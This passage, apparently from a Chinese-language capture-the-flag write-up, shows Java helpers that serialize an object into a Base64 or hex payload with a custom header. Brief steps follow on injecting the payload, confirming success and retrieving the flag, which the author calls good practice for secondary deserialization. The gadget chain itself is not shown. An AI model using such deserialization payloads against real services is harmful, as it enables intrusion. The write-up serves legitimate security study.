ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);

byte[] bytes = baos.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
}

public static String objectToHex(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeUTF("SJTU");
oos.writeInt(1896);
oos.writeObject(obj);
byte[] bytes = baos.toByteArray();
StringBuilder hex = new StringBuilder();
for (byte b : bytes) {
hex.append(String.format("%02x", b));
}
return hex.toString();
}
}

运行获得payload,注入数据

image-20260202154242322

docker后台显示成功

image-20260202154315719

获取flag

image-20260202154355716

很有启发性的一道题,虽然经过五年但还是学习二次反序列化很好资料